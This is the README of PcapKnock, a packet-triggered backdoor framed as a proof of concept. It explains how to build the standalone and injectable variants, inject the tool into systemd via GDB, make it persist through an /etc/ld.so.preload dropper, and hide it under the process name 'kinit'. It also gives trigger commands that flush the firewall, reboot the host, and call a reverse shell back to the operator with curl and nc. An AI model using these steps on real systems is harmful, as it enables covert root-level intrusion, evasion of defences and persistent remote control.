PcapKnock

PcapKnock listens for specially-crafted packets and either runs a command or spawns a reverse shell based on the contents of the packets. It is meant for use as a PoC; there is no encryption or authentication. It can either be built as a standalone binary or an injectable library.

Tested on:

OpenBSD
FreeBSD (GhostOS)
Linux (CentOS, Ubuntu)
LXC on Centos (Debian)

For legal use only.

Building

The build.sh script will try to produce binaries and shared object files, but may well need tweaking. On Linux, expect to have to wrestle your distro's package manager. On OpenBSD and FreeBSD, it just works.

The library and binaries will go into built/$(uname -s) in the source tree. The built files are as follows:

Name	Purpose
`pcapknock.standalone`	"Normal" standalone binary. Nohup it and run it in in the backgroud.
`pcapknock.standalone.daemon`	Standalone binary which forks itself into the background.
`pcapknock.standalone.debug`	Standalone binary which prints debugging info.
`pcapknock.so`	Injectable library
`pcapknock.injector`	Injects pcapknocks.so into a process with in-memory GDB
`pcapknock.systemd.so`	Systemd-specific preloadable library
`systemd_dropper.sh`	Dropper which preloads vi `pcapknock.systemd.so` via `/etc/ld.so.preload`

Usage

Once pcapknock is running as root, all that's required to trigger it is a packet containing either a command to run surrounded by COMMAND...COMMAND or an address to which to call back with a shell surrounded with CALLBACK...CALLBACK.

Trigger examples:

# Drop the Linux firewall
echo 'iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -F' | nc -u <TARGET> 53

# Reboot a box
dig @target COMMANDrebootCOMMAND

# Call back on port 80
(sleep 1 && curl -sv -d 'CALLBACK<LOCALIP>:80CALLBACK' http://target) & nc -nvl 80

For either a callback or a command, a shell is spawned, disassociated from the parent process, and run with the name (i.e. argv[0]) kinit. The name may be changed in config.h.

Configuration

Three compile-time preprocessor macros may be set when building to control aspects of pcapknock's behavior.

Macro	Effect
`DEBUG`	Prints helpful debugging messages
`DAEMON`	Causes the standalone binary builds to disassociate from the controlling terminal (What you probably want)
`PRELOADSYSTEMD`	Buid a library suitable for injection into systemd via `/etc/ld.so.preload`.

The compiled binaries and shared object files will have the above appended to their names.

Further compile-time configuration can be performed by editing config.h, but in general, this shouldn't be necessary.

There is no runtime configuration.

Linux Injection

On Linux, an few additional files are built for injecting into systemd either on a running system or on boot vi /etc/ld.so.preload.

Live Injection

The program pcapknock.injector loads pcapknock.so and gdb into memory and uses gdb to shove pcapknock into another process which may be specified as the first command-line argument, e.g. ./pcapknock.injector 23. Not specifying a number or specifying an invalid number (like ./pcapknock.injector kittes) will inject into pid 1. Turns out it works pretty well.

The injectee process should be have libdl loaded into it as well as have permissions to sniff packets (e.g. open a packet socket). Try a trigger before getting rid of the access used to run pcapknock.injector. COMMANDtouch /tmpCOMMAND works pretty well for testing.

When injecting there should be a line something like

$1 = (void *) 0x559ea705d3f0

which indicates (likely) success. If the number on the right is 0, something's gone wrong.

If injecting into init (which is the default if no pid is given) expect a lot of lines in dmesg and to the console similar to the following:

kernel:systemd[1]: segfault at 7ffff81e3f5f ip 00007ffff81e3f5f sp 00007ffff81e3f50 error 15

Apparently systemd is happy segfaulting. A "better" description of systemd can be found in https://amzn.com/B075DYXZW1.

Persistent Injection

Using /etc/ld.so.preload, pcapknock can be loaded into systemd from boot by pointing it at pcapknock.systemd.so. The library will also be loaded into every other process, but it only sniffs if it finds itself in the process with pid 1. A convenient dropper, systemd_dropper.sh, will write the library to disk as '/usr/local/sbin/libpk.so.4and add it to/etc/ld.so.preload`.